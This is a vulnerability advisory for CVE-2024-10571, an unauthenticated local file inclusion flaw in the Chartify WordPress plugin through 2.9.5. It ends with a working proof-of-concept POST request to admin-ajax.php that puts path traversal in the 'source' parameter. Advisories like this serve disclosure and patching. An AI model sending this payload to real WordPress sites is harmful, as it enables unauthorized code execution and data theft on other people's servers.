WordPress Chartify 2.9.5 Local File Inclusion Vulnerability

# CVE-2024-10571
Chartify – WordPress Chart Plugin <= 2.9.5 - Unauthenticated Local File Inclusion via source

# Description

The Chartify – WordPress Chart Plugin plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.9.5 via the 'source' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.

## Details

- **Type**: plugin
- **Slug**: chart-builder
- **Affected Version**: 2.9.5
- **CVSS Score**: 9.8
- **CVSS Rating**: Critical
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **CVE**: CVE-2024-10571
- **Status**: Active

POC
---
```
POST /wp-admin/admin-ajax.php?action=add&source=../../../../../../../../../../../../var/www/html/poc&type=chart-js HTTP/1.1
Host: wp.local
Content-Length: 63
Content-Type: application/x-www-form-urlencoded

action=ays_chart_admin_ajax&function=display_plugin_charts_page
```